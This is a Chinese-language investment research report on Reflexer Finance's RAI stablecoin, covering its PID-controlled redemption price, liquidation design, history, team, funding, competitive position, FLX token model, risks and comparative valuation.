Reflexer系统随时允许用户按照赎回价格（也就是目标价格，为了方便下文理解，我们都以赎回价格来指代）来生成RAI，同时随时允许用户按照系统的赎回价格来偿还RAI并取回质押的ETH。 Reflexer系统的供给控制的核心在于，当市场供需出现失衡时，Reflexer会主动调整RAI的赎回价格，通过激励用户的套利行为来引导市场价格贴近赎回价格，从而达到新的供需平衡。RAI的赎回价格最初定为3.14（圆周率pi），随后就由代码根据市场价格来进行调整。 在Reflexer的系统中有两类角色：对RAI的净负债者（RAI系统的借款人）和净持有RAI资产者（RAI系统的出借人）。RAI系统的借款人通常是指那些抵押ETH生成RAI，并将RAI用于其他用途的用户，他们拥有对RAI的净负债，需要从市场购买RAI来进行还款。 Reflexer系统通过控制赎回价格来影响上述两个人群的边际行为，从而实现对RAI供给的主动控制。具体而言： 当市场对RAI的需求旺盛，导致RAI的市场价格上涨时，系统会自动降低赎回价格，使得RAI的赎回价格更加显著的低于市场价格，从而使得系统内的参与人倾向于增加借款，即通过质押ETH获得新的RAI并出售给市场来获利，从而使得RAI供应量提高，市场价格降低。整个过程如下图所示： 0为初始状态； 10分，RAI的市场价格提高（绿线），市场价格高于赎回价格（红线），此时已经有套利者开始铸造新的RAI出售给市场套利，系统的赎回率（蓝线）为负（净铸造）； 20分，系统进一步降低RAI的赎回价格，套利空间增大，铸造率进一步提高； 40分，系统重新到达稳定状态。 当市场对RAI的需求萎靡，导致RAI的市场价格下跌时，系统的调整也是相对的。系统会自动提高赎回价格，使得RAI的赎回价格更加显著的高于市场价格，从而使得系统内的借款人更加倾向于偿还借款，即从市场购买RAI偿还给系统，从而使得RAI供应量降低，市场价格提高。整个过程如下图所示： 0为初始状态； 10分，RAI的市场价格降低（绿线），市场价格低于赎回价格（红线），RAI的净借款人可以从市场购买RAI偿还给系统以套利，市场的其他参与玩家也可以在此预期下购买RAI，从而使得系统的赎回率（蓝线）升高； 20分，系统进一步提高RAI的赎回价格，套利空间增大，赎回率进一步提高； 40分，系统重新到达稳定状态。 在具体的实现上，RAI系统采用一套基于PID控制（Proportional–Integral–Derivative controller，比例-积分-微分控制器，广泛用于工业设计中的反馈控制）的机制，使用一系列参数来调整上述的控制过程。具体而言： 比例参数（P参数）主要用于对系统的偏差调节，其调整基于偏差的“比例”，也就是说，偏差比例越大，调整幅度越大。在RAI的例子里，当市场价格与赎回价格不一致时，比例参数主要驱动了赎回价格的变化：市场价格升高，则赎回价格降低；市场价格继续升高，则赎回价格继续降低；P参数从RAI上线之时就存在，是整个系统的基础。正是这个参数，使得RAI系统具有了创始人Ameen Soleimani所说的“弹簧”特性：“RAI 的市场价格离赎回价格越远，让RAI回归平衡的动力就越大”。 积分参数（I参数）的调整基于偏差的“积分”项，积分项考虑了时间的因素，偏差的积分项越大，调整的幅度越大。在RAI的例子里，当市场价格与赎回价格持续产生差距，积分参数则会逐步升高，驱动赎回价格更加剧烈的变动。在RAI系统内，I参数于2022年2月份上线。 微分参数（D参数）的调整基于偏差的“微分”项，偏差的微分项越大（偏差越剧烈），调整的幅度越大。D参数目前仍未在RAI系统内上线。 对RAI的PID控制理论和实践有兴趣的读者可以前往Reflexer官方文档、Reflexer官方论坛以及创始人Ameen的文章来了解更多细节。 另外值得一提的是，RAI的初始价格其实并不重要，3.14的初始价格其实是依据早期参与者在Twitter的投票结果决定的，RAI完全可以以4.2或者6.9或者任意的其他目标价格来开始整个系统，依靠PID机制维持整个协议正常运转。   RAI系统的这一套机制，正符合货币主义奠基人、诺贝尔经济学奖获得者米尔顿·弗里德曼理想情况下对美联储的预期。弗里德曼认为，美联储的工作足以使用一台计算机来代替： Abolish the FED, replace it with a computer. 废掉美联储，用计算机来替代它。 — Milton Friedman （这同时也是Reflexer社区的重要Meme） 2.3.2 清算机制 RAI是超额抵押的稳定币，与其他采用超额抵押模式的稳定币协议或者借贷协议一样，当出现某人抵押品价值相对借出物价值的比值低于某个特定阈值时，为了保证协议的安全健康，就会触发清算。这时清算人通过固定折扣拍卖的形式获得被清算者的抵押品（ETH），同时替被清算者偿还债务（RAI）。这个过程被称为 “抵押品清算” ，也是协议安全的第一重保障； 协议平时收取的稳定费（利息）会计入 “盈余缓冲” ，当抵押品清算无法处理所有坏账时，协议会首先使用盈余缓冲中的资金来对坏账进行清算，这是协议安全的第二重保障（盈余缓冲中的金额积累超过一定金额或一段时间，会经过DAO投票用于回购FLX并销毁）； 若盈余缓冲也无法处理坏账时，协议会进入“债务拍卖”。债务拍卖是系统增发出更多的FLX代币，从而在市场上换取RAI完成债务处理。这是协议安全的第三重保障，也对应来FLX代币中的“最后贷款人”职能。 从整个的清算体系我们可以看出，“抵押品清算”是系统的常驻防线。抵押品清算按照固定折扣进行，也能有效提高清算效率，避免极端行情下清算效率过低导致的系统性风险（如MakerDAO在2020年312遇到的那样）。而假设市场行情极端，导致抵押品清算机制暂时失效时，也有“盈余缓冲兑付”和“债务拍卖”来维护整个系统的安全。事实上RAI上线以来发生的清算都是抵押品清算，并没有用到盈余缓冲兑付以及债务拍卖。 2.3.3 系统的实际运行情况 从上图我们可以看到，自从2021年2月以3.14的赎回价格上线以来，RAI的市场价格和赎回价格一直处在较好的拟合状态。在最开始的市场波动之后，RAI的赎回价格直到2022年5月之前一直在3.01～3.04美元的区间内窄幅波动，而这段时间内RAI的基础资产ETH的波动很大，4000美元->1750美元->4800美元->1800美元，同样的RAI的流通量波动很大，其流通量5000万枚->650万枚->3000万枚->1600万枚。在如此剧烈的波动下，RAI很好的完成了其“基于ETH的低波动资产”的目标。 在随后的2022年5月-7月，从Luna开始，3AC、Celsius、Voyager相继崩溃，借贷平台的ETH接连触达大额清算线，整个市场同时出现了流动性危机和对去中心化稳定币赛道的叙事打击，而对RAI的持有人来说，他们的抵押物ETH也不断贬值面临清算风险。在这种背景下，RAI的借款人纷纷还款，RAI的流通量从5月6日的1700万枚降低到6月20日的520万枚。借款人对RAI旺盛的还款需求使得RAI价格升高。而当时市场上并没有足够多的玩家来进行“铸造RAI，并将RAI出售给市场”的套利，使得RAI的市场价格在长达一个多月的时间内都高于赎回价格0.08美元（约3%）左右。在我们前文所述的I参数的机制之下，RAI的赎回价格持续降低，最终降低到了2.7美元左右。 总体而言，RAI目前上线2年，也恰逢以太坊价格剧烈波动的时间，在此期间内RAI的价格绝大部分时间在2.75～3.05之间波动，没有发生清算事故，也未发生其他安全风险事件，其核心产品机制得到了验证。 目前在RAI存入的ETH有2600万美元，总计有150个活跃的借款人。协议流通的RAI数量为235万枚。 在用例拓展方面，RAI也取得一定的成效： 其中Aave和Coinbase的集成，显示了他们不俗的bd能力，然而限于RAI的规模较小，RAI的这两处用例都未形成规模。 2.4 融资和团队情况 2.4.1 融资情况 Reflexer Finance 总计融资3轮： 在2020年4月，MetaCartel Ventures 宣布 Reflexer Finance为其第一个投资项目，投资金额未披露。MetaCartel 是一个带有孵化性质的 Venture DAO，其成员基本遍布以太坊社区活跃项目方和VC。 在2020年8月，Reflexer 公布完成了由 Paradigm 领投的 168 万美元（ETH时价400美元左右）种子轮融资，参投方包括 Standard Crypto、Compound 创始人 Robert 和 Variant Fund。 在2021年2月产品主网上线前夕，Reflexer公布完成了414万美元融资，由Pantera和Lemniscap领投，MetaCartel、TheLAO、Aave 创始人Stani、Synthetix创始人Kain等跟投。 总体来说，Reflexer的融资金额并不大，但是其支持者普遍为以太坊社区的活跃VC、DAO和项目方，显示了以太坊社区对Reflexer的支持。 2.4.2 团队情况 Reflexer Finance的创始人为Ameen Soleimani和Stefan Ionescu。 Ameen Soleimani 同时也是 Moloch DAO 和 SpankChain 的创始人，Moloch DAO 是一个旨在资助以太坊基础设施的DAO，曾经得到 Vitalik 和 Joseph Lubin（以太坊联合创始人，Consensys 创始人兼CEO）的捐助，并且凭借其“怒退”（Rage Quitting，允许DAO成员在投资之前自行取回资金）机制奠定了目前DAO Venture的主流框架；Spankchain是一个基于以太坊的成人行业小额支付平台。他也曾在Consensys工作过一年。 Stefan Ionescu原本的角色更加类似创始人兼CTO，不过他已于22年3月25日宣布退出Reflexer 的大部分事务，仅在技术领域为DAO提供顾问服务，同时将自己的代币锁仓4年。除了两位创始人之外，在2021年1月主网上线前夕，Ameen曾在Twitter披露过Reflexer团队共有7位开发工程师（包括两位创始人在内）。 在2022年5月，经过自荐和社区讨论投票，Bacon 成为了新的DAO负责人，0x-Kingfish成为了集成负责人，主要负责RAI与其他协议的集成。8月，Bacon离职，Reza加入DAO中，其职位是社区负责人。 0x-Kingfish和Reza是目前除了Ameen之外在Reflexer的日常工作中比较活跃的两位。两人保持匿名，0x-Kingfish在竞选提案中提到自己有10年的金融二级市场投资经验，在2020年进入加密货币行业；Reza从17年进入行业，曾经在加密项目akoin负责市场和社区工作，也自己发行过NFT系列，目前同时也是加密媒体Decrypt的BD。 另外，在MetaCartel的投资中，他们披露Reflexer的顾问为 Nikolai Mushegian。Nikolai是一位以太坊社区早期的活跃开发者，他是MakerDAO的联合创始人和架构师，同时也是Balancer的联合创始人。不过Nikolai已于2022年11月去世。 总体而言，Reflexer 的团队人数并不多，尤其在创始人之一的Stefan Ionescu出走之后，团队整体显得更加“佛系”，当然这也与Reflexer所追求的“最小化治理”有所关联。 三. 业务分析 3.1 行业空间及潜力 稳定币在过去一轮加密周期中取得了远超加密市场平均水平的发展。即便经历了1年的加密熊市以及重要项目UST的崩溃，稳定币目前仍然有超过1350亿的流通量，且相较高峰时的1800余亿下降幅度仅27%左右，远低于BTC或ETH的价格跌幅。 究其原因，笔者认为，在加密市场的逐步发展壮大的过程中，参与者逐步发现，稳定币确实是相比BTC或ETH更符合第一性原理的加密货币基础结算货币。具体而言，我们可以看到，稳定币已经取代BTC/ETH成为： 现货交易的基础结算货币 大受市场欢迎的永续合约等新型衍生品的结算货币 大部分项目方和风险投资机构进行投融资活动的结算货币 而在上一轮周期中，全球货币超发背景下价格迅速上涨带来的赚钱效应、链上层出不穷的新项目以其高收益率或者新颖机制也吸引了更多合规机构、更广泛的参与者，稳定币作为加密货币基础结算货币的定位在全市场参与者的心中已经非常稳固，其市场规模至少会伴随着加密货币总体规模同步发展，仍然有着巨大的发展空间。 伴随着稳定币发行方所持有的短期美国国债占市场份额超过了2%（2022年5月），甚至超过了“股神”巴菲特旗下的投资公司伯克希尔哈撒韦，以及算法稳定币UST崩溃所带来的深远影响，监管当局对加密市场尤其是稳定币的监管正在逐步加码。 最近半年以来，各国不同的监管部门针对加密市场和稳定币的监管讨论层出不穷，而实际的监管举措也时有发生，其中引起最大争议的两次是： 2022年8月，美国财政部海外资产控制办公室（Office of Foreign Assets Control, OFAC) 决定制裁以太坊网络的混币器Tornado Cash。在事件发生之后，USDC的发行方Circle迅速冻结了OFAC名单的地址中的USDC，这些地址均与Tornado Cash合约存在交互。该事件在以太坊社区引发了巨大的轰动，好事者甚至通过Tornado Cash向加密世界名人的链上地址发送ETH来进行“投毒”。 2023年2月，稳定币发行商Paxos 的监管机构纽约金融服务部（NYDFS）要求其停止 BUSD的发行，Paxos也因BUSD相关问题收到美国证券交易委员会（SEC）的“韦尔斯通知”，或将面临SEC非法发行证券的指控。 两次事件对稳定币的持币者乃至整个行业有长期而深远的影响。 对于任何加密世界的普通人，假若自己曾经参与交互的某个DeFi项目得罪了美国财政部，那么自己链上的USDC将可能会被冻结，这种荒谬的不确定性所带来的担忧会极大影响人们持有加密资产的信心，也与加密世界中主张的抗审查、无许可、去中心化完全背道而驰。本次事件之后的3个月内，USDC发行量降低了100亿枚，而并未配合OFAC制裁的USDT的发行量则上涨了50亿枚（如前文所述，MakerDAO也在此事件之后开始讨论DAI脱钩美元的可能性）。 SEC指控Paxos事件发生之后，处在暴风眼中对币安随即开始在全球广泛的寻找潜在的法币抵押稳定币发行合作伙伴，同时也关注去中心化稳定币项目，与2月28日上线了去中心化稳定币Liquity的代币LQTY。 Paxos在2月21日宣布停止发行新的BUSD，BUSD市值从2月13日的160余亿美元下降到105亿美元（截止3月1日）。一度进入加密货币市值前十的BUSD在监管压力之下或将在1年之内“归零”。关于SEC对Paxos的指控，Messari创始人Ryan Selkis言辞激烈：“我人生的新目标是结束 Gary Gensler（SEC主席）的政治生涯，让他成为拜登连任失败的原因……我将花费我所拥有的每一分精力、资金和政治资本来打击加密货币的道德败坏和腐败的敌人。” 虽然逻辑上并不太可能，但假若BUSD真的被SEC认定为证券，那将是个对整个加密行业的巨大打击。 以上两个事件都推动了市场对去中心化稳定币的关注。然而相比于中心化稳定币的繁荣发展，去中心化稳定币在本轮周期中却更加坎坷，虽然曾一度登上巅峰，又伴随着UST的崩溃而坠入了“绝望之谷”，总体的发展状况远不如中心化稳定币，我们将在3.2 项目竞争格局中，详细对比RAI和其他的去中心化稳定币。 综上所述，我们认为，稳定币业务基础稳固，空间广阔，仍有不俗潜力。在稳定币的细分赛道中，伴随着近期监管对稳定币的高压态势，RAI所处的去中心化稳定币赛道，由于具有更加符合抗审查和去信任的加密世界主流叙事、同时目前的发展程度更低，具有更加广阔的发展前景。 3.2 项目竞争优势 RAI属于去中心化稳定币，在本节中，我们将重点分析去中心化稳定币的竞争格局。 以下是目前Coingecko列出的，流通量在3000万美元以上的去中心化稳定币。 RAI的流通市值不足千万美元，而且衡量稳定币发展的重要指标如持币人数、TVL、转账次数等也远远不如上述项目。虽然业务数据全面落后，但笔者仍然认为RAI具有不俗的竞争优势，体现在： 非法币锚定 完全去中心化 3.2.1 非法币锚定 在2.31.「供给控制机制」一节中，我们可以发现，RAI与绝大多数稳定币不同，其价格并不锚定法币或某种实物，而是通过迂回的方式锚定了市场对RAI的需求。 这在整个稳定币市场中是非常少见的，在笔者印象中，只有与RAI大致同期上线的Float Protocol才有类似的设计（Olympus及其Fork在笔者看来并不能定义为稳定币）。笔者认为，这种不锚定法币的设计对于整个加密市场而言都非常珍贵。 要理解这种设计的重要性，我们可能要先来回顾一下一个国际经济学的概念。 国际经济学上一直存在蒙代尔的三元悖论，也就是说，除了规则制定者（美国）之外，一国货币政策的独立性、汇率的稳定性、资本的自由流动这三者不能同时存在，最多只能选择其中两个。若想同时拥有三者则会遭致危机，如97年的亚洲金融危机、94–95年的墨西哥比索危机、01–02年的阿根廷金融危机等。 在实践中，如香港，选择的就是盯住美元的稳定汇率以及自由流动的资本，完全放弃自己的货币政策；如朝鲜，选择的就是独立货币政策以及稳定的汇率，进行完全的资本管制。当然，其他绝大多数国家，其选择都是在上述三者之中进行折中。 如果我们以这种视角来思考目前的加密世界，以当前所有的稳定币的并集作为加密生态中的“货币”，我们会发现，加密世界与香港非常类似：资本完全自由流出，奉行几乎完全1:1盯住美元汇率的稳定汇率政策，同时完全放弃自己的货币政策。 事实上，在上述的不可能三角中，资本自由流动是整个加密市场天然的选择，而如果选择了相对美元的汇率稳定性，虽然能够获得推广以及诸多方面的便利，但却丧失了加密世界货币政策的独立性。目前加密世界运行基石的稳定币已然成为美元的“傀儡”，从这个角度，加密货币并不是超主权货币，反而是亚主权货币。这与加密货币诞生时的抗通胀、去信任的理念都是背道而驰的。美联储假若进行无节制的货币超发，加密世界也可能会受到通货膨胀的困扰。这也是目前加密世界的一个巨大的隐忧：万丈高楼之下的根基之处，依然有着美联储通胀的影子。 如果我们认为成为香港并不是加密世界的目标，如果我们认可加密货币的超主权性质，那么加密世界的通用的货币理应有自己的独立货币政策，叠加加密市场天然的资本自由流动属性，那么这种货币应该避免与任何现实世界中的法币挂钩（放弃固定汇率），否则就会沦为法币的附庸。 从这个视角来看，Reflexer所经营的是纯正的中央银行业务，而Circle/Tether或者MakerDAO所经营的，无非是美联储（欧洲央行）体系内的一个商业银行，MakerDAO和Circle的区别仅仅在于，MakerDAO支持采用ETH或是其他加密原生资产作为借贷的抵押物。 这一点也被越来越多的稳定币项目方所认识到，在Tornado Cash被制裁事件发生之后，MakerDAO也在考虑使DAI脱离美元计价，此事件也引发了以太坊创始人Vitalik参与讨论。但是以DAI目前超过60%的DAI都由锚定美元的中心化稳定币支持的情况来看，MakerDAO实现这种脱钩的概率非常小，即便可以实现，过程也会十分颠簸且漫长。 综上所述，由于绝大多数用户都未曾接触过非法币锚定稳定币的概念，这当然对于RAI的用例推广造成了诸多障碍。然而，锚定美元是容易的，而构建一个不锚定美元且稳定的系统则是困难的。放弃对美元的锚定，使得Reflexer能够完全脱离美国监管，并隔离美国货币政策对其稳定币RAI的影响。同时这种特性对于整个加密世界的稳定币而言也是一种难得的容错机制。 3.2.2 完全去中心化 RAI是完全去中心化的，系统支持的抵押物只有ETH。而去中心化是要付出代价的。 与前文提到的蒙代尔的三元悖论类似，在加密世界中，也有人提出了关于加密稳定币的三元悖论，即稳定币的资本效率、价格稳定性和去中心化三者也不能同时存在。笔者认为这种分类也有一定道理，试图同时获得这三者的ESD/BAC/UST最终都走向了灭亡。 而最老牌的去中心化稳定币DAI的发展过程也能很好的体现这一点： 在2019年11月之前，DAI一直是去中心化（只有ETH作为抵押物）的，但是由于缺乏有效的将DAI拉回1美元的机制，DAI的价格并不稳定，同时由于ETH本身的价格波动较大（如下图），用户在使用ETH抵押时为了防止被清算留足安全边际，所以整个系统的超额抵押率非常之高，相应的其资本利用效率也更低。 MakerDAO为了解决这些问题，开始提案扩充抵押物来源（不过最初并不包含USDC）。而在20年的312事件中，由于链上的高gas和低流动性，MakerDAO的清算系统无法正常运行，最终给协议留下了600多万美元的损失。正是在这种背景之下，支持USDC抵押生成DAI的Stablecoin Vaults上线了。 USDC Vault的上线很快的将DAI的价格拉回了1，随后虽然因为DeFi summer造成的需求高涨，以及Vault上限无法及时调整而使得DAI的价格一度有高于1.03，不过在20年底Stable Vaults升级为PSM（Peg Stability Module，价格稳定模块）之后，由于可以随时通过Swap的方式将USDC转换为DAI，DAI的价格从此就稳定在非常窄的范围内波动。从此以后，中心化稳定币生成DAI的比例占DAI流通量的比例逐步提高，目前由中心化稳定币（USDC、GUSD、USDP、以及USDC-DAI LP中的USDC）支持的DAI超过了DAI流通比例的60%，协议整体的超额抵押率也低于200%。 由DAI的例子我们可以看出，引入其他已经广泛流通的稳定币作为自身稳定币的抵押物，将会非常有效的提升本协议稳定币的流动性，进而获得良好的价格稳定性；同时由于抵押物和借出物都是稳定币，系统的超额抵押率也会随之降低，进而提高协议总体的资金利用效率；此外引入其他稳定币作为抵押物也可以更加有效的帮助去中心化稳定币协议进行冷启动和后续的拓展。在我们上图中的稳定币中，采取这种机制的稳定币不在少数。比如： FRAX的抵押物的中心化稳定币资产的占比超过75%（根据Frax给定的Decentraliazition ratio得出），配合在稳定币协议中极具创新和主动性的AMO机制，FRAX也具有相当高的资本效率和价格稳定性； MIM、alUSD、DOLA、agEUR等去中心化稳定币，他们的抵押物构成都有一半以上的来自其他的稳定币（USDT、USDC、DAI）或稳定币在其他DeFi协议的收益凭证，借此，他们的业务规模增长都比较迅速，其稳定币价格通常也比较稳定。 OUSD和FEI（最新版本）更是完全由其他稳定币生成； 但是由于广泛流通的稳定币都是中心化的稳定币（DAI也有60%对中心化稳定币的依赖），选择引入他们，其实是放弃了对去中心化的坚持。假若USDC决定封禁上述某些协议的的账户，或者封禁DAI的账户，对以上的稳定币协议都有非常严重的打击。 UST以及众多其他已经崩溃的算稳，选择的是极致的资金效率，他们允许用户使用去中心化的资产非足额抵押生成稳定币，在市场牛市周期，这种方式更加容易地推动业务进展，但是代价是在市场熊市周期由于稳定币价格无法稳定从而引发整个系统的崩溃。 另一个老牌的去中心化稳定币，由Synthetix发行的sUSD，选择了价格的稳定性，在绝大多数时间内，sUSD的价格的波动区间都在1美元上下1%的区间之内波动，但是代价是极低的资金利用效率（抵押率常年超过500%）。 在21年4月份上线的LUSD则通过新颖的机制（关于Liquity机制可查看Liquity：稳定币市场的后起之秀）做出了新的权衡。他们允许LUSD价格在1～1.1之间波动，同时允许单个用户的抵押比率低至110%来提高资金利用效率。从实际运行结果来看，LUSD的价格绝大部分时间在1～1.03之内波动，在一个相对宽幅范围内获得了稳定；资金利用效率方面，Liquity的协议抵押率通常在200%～250%之间波动，目前抵押比率为260%。     LUSD价格 数据来源 Coingecko   而本文我们关注的RAI，与LUSD比较类似，凭借优秀的机制，RAI的价格在宽幅范围内实现了价格的相对稳定；其超额抵押率也常年在300%～400%浮动。 对于去中心化的稳定币而言，选择引入更多的中心化资产是容易的，而在完全去中心化的基础上构建一个稳定币系统则是困难的。放弃更高的资本效率和更稳定的价格，是Reflexer为了去中心化和抗审查特性所付出的代价。 3.2.3 最小化治理 RAI最本质的特性是去中心化/去信任化。 而目前在DeFi协议代币普遍的“治理”功能，本质上仍然是一种“人治”。从这些拥有治理代币项目的实际治理过程来看，除了持币人极低的治理参与度之外，治理不可避免的寡头化也是目前治理模式的一大问题（这一点在Uniswap社区关于跨链到BNB Chain应该选择哪个跨链桥的治理讨论中体现的淋漓尽致）。 在机制设计中，RAI并不信任美联储，也不信任任何的“人”，其核心指导原则之一是治理最小化的理念。RAI 认为它应该尽可能地实现自动化、自给自足、避免外部依赖性。其最终目的是与另一个稳定币项目Liquity一样，走向无治理。 Reflexer协议内各个模块都有详细的最小化治理路线图，以期在未来几年内实现 RAI 的自动化和免治理化。RAI最终希望达到一种状态：治理层将不控制或升级 RAI 的大部分核心合约。 在去年8月，RAI的最小化治理已经达到了其目标的第二阶段。RAI 的治理代币 FLX 将会随着时间的推移逐步降低其自身的权力，直到其主要功能变成：在破产事件中充当系统的最后贷款人（即维持“债务拍卖”的正常进行）。 最小化治理或者无治理当然会影响协议复杂多变环境的适应和调整能力，比如Reflexer无法在市场情绪高涨时通过提高稳定费率来提高协议收入，目标最小化治理的Reflexer和无治理的Liquity 在用例拓展方面也远不如其他对治理比较积极的稳定币协议。但是，有治理是容易的，而最小化治理/无治理则是困难的。放弃对协议的治理，是Reflexer为了去中心化和抗审查特性所付出的代价。 小结 综上，我们认为，虽然从稳定币市值规模、持币人数、交易量等衡量稳定币业务发展水平的指标方面，RAI距离目前去中心化稳定币头部的DAI、FRAX都有非常大的差距，但是凭借非法币锚定的特性、完全去中心化和最小化治理的理念，RAI具备相对这些头部稳定币项目的一些特色优势。 正如以太坊创始人Vitalik所言，“RAI 更好地体现了仅由 ETH 支持的抵押自动稳定币的纯粹“理想类型”。 RAI better exemplifies the pure “ideal type” of a collateralized automated stablecoin, backed by ETH only. RAI 更好地体现了仅由 ETH 支持的，超额抵押自动稳定币的“理想类型” — Vitalik Buterin RAI所希望实现的未来，正是“点对点的电子货币系统，无需信任任何第三方”，这一整个加密市场最大的叙事。 3.3 通证模型分析 3.3.1 代币作用 Reflexer的治理代币为FLX，其主要用例有二： RAI的缓冲器：与 MakerDAO类似，RAI 系统将进行盈余和债务拍卖。如果系统出现亏损，系统将自动铸造和拍卖FLX以维护RAI持有人的利益。当系统出现盈余时，盈余的RAI也可以通过FLX来进行折价拍卖，拍卖消耗的FLX将会销毁。目前累计销毁的FLX数量为25,057枚。 治理：尽管在Reflexer Finance的设想中，RAI的目标是治理最小化，但是协议发展过程中（尤其是早期阶段）仍然有诸多事项需要人的参与，FLX的持有人会来承担治理功能。 3.3.2 代币分配与解锁 FLX总量100万枚，其分配如下： 35%的FLX分配给基金会，其FLX将主要用于协议发展，如激励RAI的流动性和安全性的流动性挖矿奖励、进行各种赠款计划（Grants）等 其中0.687%总量的FLX分配给了早期与Proto RAI交互的地址。 对早期RAI铸造者以及RAI-ETH LP的空投也将从这部分代币里支出。 总计35.69%的FLX分配给投资人/早期支持者： 21%的FLX 将分配给早期支持者。代币锁仓1年，在随后1年内线性释放。 11.3%的FLX分配给Reflexer Labs的投资者，代币锁仓1年，在随后1年内线性释放。 3.39%的FLX 将分配给孵化Reflexer的 DAO，代币锁仓1年，在随后1年内线性释放。 总计29.31%的代币分配给团队： 20%的 FLX分配给团队及顾问，代币锁仓1年，在随后1年内线性释放。 9.31%的FLX直接分配给Reflexer Labs公司，无锁仓限制。 （注：以上的锁仓时间均从2021年4月15日起算） 截止目前，根据Coingecko数据，FLX的流通量总计653,309枚，流通比例67%；累计销毁的FLX数量为25,057枚。 3.4 风险 RAI的风险包括： PMF风险：非法币锚定的稳定币在用户端的接受度低 市场推广阻力因素较多： 仅以ETH为抵押物会影响RAI在用户端的推广 最小化治理的理念使得团队运营抓手更少 预留用于协议激励的FLX代币数量只有16万枚，按照现在价格不足200万美元，后续用于用例推广的激励可能不足 团队风险：在联合创始人Stefan出走之后的近一年时间，团队在用例扩展和市场推广方面的进展都较为一般 代码风险：RAI机制新颖且基于PID理念的链上控制系统并无先例，虽然经历了2年的安全运行以及代码审计机构的审计，但该风险无法消除 四. 初步价值评估 4.1 五个核心问题 项目处在哪个经营周期？是成熟期，还是发展的早中期？ 经过2年时间的发展，项目的主要产品功能已经实现，产品已经处于相对成熟期；但是从其产品 — — 稳定币RAI的实际推广情况来看，其业务仍处于发展的早期。 项目是否具备牢靠的竞争优势？这种竞争优势来自于哪里？ 项目并没有牢靠的竞争优势，其业务数据也全线落后于赛道内领先的去中心化稳定币项目Liquity。 然而Reflexer作为整个加密生态内罕见的完全内生于加密货币市场的、对任何法币无依赖的稳定币项目，其以太坊生态内的价值储备资产的灾备价值，在一次次对稳定币的监管活动之后日渐凸显。另外，Vitalik 本人对Reflexer的关注和支持也可算作Reflexer一个潜在的竞争优势。 项目中长期的投资逻辑是否清晰？是否与行业大趋势相符？ 项目中长期的投资逻辑清晰，去中心化的稳定币是最符合第一性原理的加密世界稳定币，具有对整个加密行业而言的灾备价值，与行业大趋势相符。 项目在运营上的主要变量因素是什么？这种因素是否容易量化和衡量？ 项目在运营上主要的变量是RAI的用例拓展情况，通过观察RAI的发行量、分布，以及Reflexer团队的对外合作动向可以比较容易的进行跟踪。 项目的管理和治理方式是什么？DAO水平如何？ 项目的管理和治理主要依靠DAO，在远期希望实现最小化治理。从实际业务发展情况来看，DAO水平一般。 4.2 估值水平 在3.2一节我们列出的项目中，能够完全去中心化的稳定币包括sUSD和LUSD，但是Synthetix发行的sUSD目标并不是成为一个通用的稳定币，而是目标成为其衍生品交易体系内的结算货币，并且马上Synthetix要在其最新的v3版本将会发行新的稳定币snxUSD弃用sUSD，因而我们只选择Liqutiy作为Reflexer的估值对比方。除了Liquity以外，我们还选择目前最有影响力的去中心化稳定币协议MakerDAO作为参考。 其实，Liquity和Reflexer有诸多相似之处，除了抵押物都只选择目前最广泛的去中心化资产ETH之外，他们都还信奉无治理/最小化治理的理念，从而降低人为治理对去中心化的影响，代表着以太坊网络上最纯正的去中心化稳定币。 在估值比对方面，一方面我们考察“治理”代币与稳定币的市值关系，来衡量其“治理”代币所能“治理”的稳定币规模；另一方面，由于LQTY、FLX和MKR都可能捕获协议收入，我们可以比较方便的考察治理代币流通市值/协议收入这一类似P/S的概念，来比对他们在收入捕获方面的能力。比对结果如下图所示： 从稳定币规模来看，FLX的估值要高于LQTY，目前FLX的市值已经高出RAI许多。另外，不论FLX还是LQTY，在这项指标上的估值都要比MKR要高很多，这也显示了市场给予完全去中心化稳定币的溢价。 从收入捕获能力来看，FLX的P/S估值则要低出LQTY许多，接近MKR的估值。 LQTY的相对高估，除了最近刚刚上线币安带来的流动性溢价之外，也与LQTY的收费结构有关，LQTY并不能从LUSD规模中获益，而只能从LUSD的新铸造和赎回中获益。 另外还需要考虑到，MakerDAO协议虽然产生了诸多的“收入”，但是由于其高额的运营开支使其“费用”居高不下，实际“利润”为负值，其协议收入已经长期没有分配给MKR的持有人。也就是说，其P/S虽低但P/E为负，这也一定程度上解释了MKR从P/S角度的低估值。 综上，我们得出结论：从P/S角度看，与同为以太坊网络完全去中心化稳定币的Liquity相比，Reflexer的估值更低；而从稳定币规模角度来看，Reflexer则相对高估。 五. 参考内容 除文中已经列出的参考资料外，本文还参考了如下文章的内容： Ameen Soleimani：Announcing MetaCoin — The Governance-Minimized Decentralized Stablecoin https://ethresear.ch/t/announcing-metacoin-the-governance-minimized-decentralized-stablecoin/6897 Ameen Soleimani：a-money-god-raises-rai-is-live-on-ethereum-mainnet https://ameensol.medium.com/a-money-god-raises-rai-is-live-on-ethereum-mainnet-f9aff2b1d331 Adam Cochran：Why MetaCartel Ventures is investing in Reflexer Labs https://medium.com/@adamscochran/why-metacartel-ventures-is-investing-in-reflexer-labs-d5f5a43c92e0 Vitalik ：Two thought experiments to evaluate automated stablecoins https://vitalik.eth.limo/general/2022/05/25/stable.html Dankrad Feist：RAI — one of the coolest experiments in crypto https://dankradfeist.de/ethereum/2023/01/31/rai-crypto-experiment.html The stablecoin trillema https://stablecoins.wtf/resources/the-stablecoin-trillema https://ld-capital.medium.com/trend-research-by-ld-capital-%E4%B8%87%E7%89%A9%E7%94%9F%E9%95%BF%E7%9A%84makerdao-%E6%98%9F%E7%81%AB%E5%B7%B2%E7%87%83-850c4c1c7196 https://community.reflexer.finance/t/dao-integrations-lead-proposal/282 https://community.reflexer.finance/t/can-oracles-double-as-co-stakers-how-rai-like-systems-might-safely-support-staked-eth/397 https://community.reflexer.finance/t/rai-controller-ungovernance/208  ( 7 min )
    2023 值得关注的五大技术趋势：以太坊升级、Staking、模块化、ZK应用及账户抽象
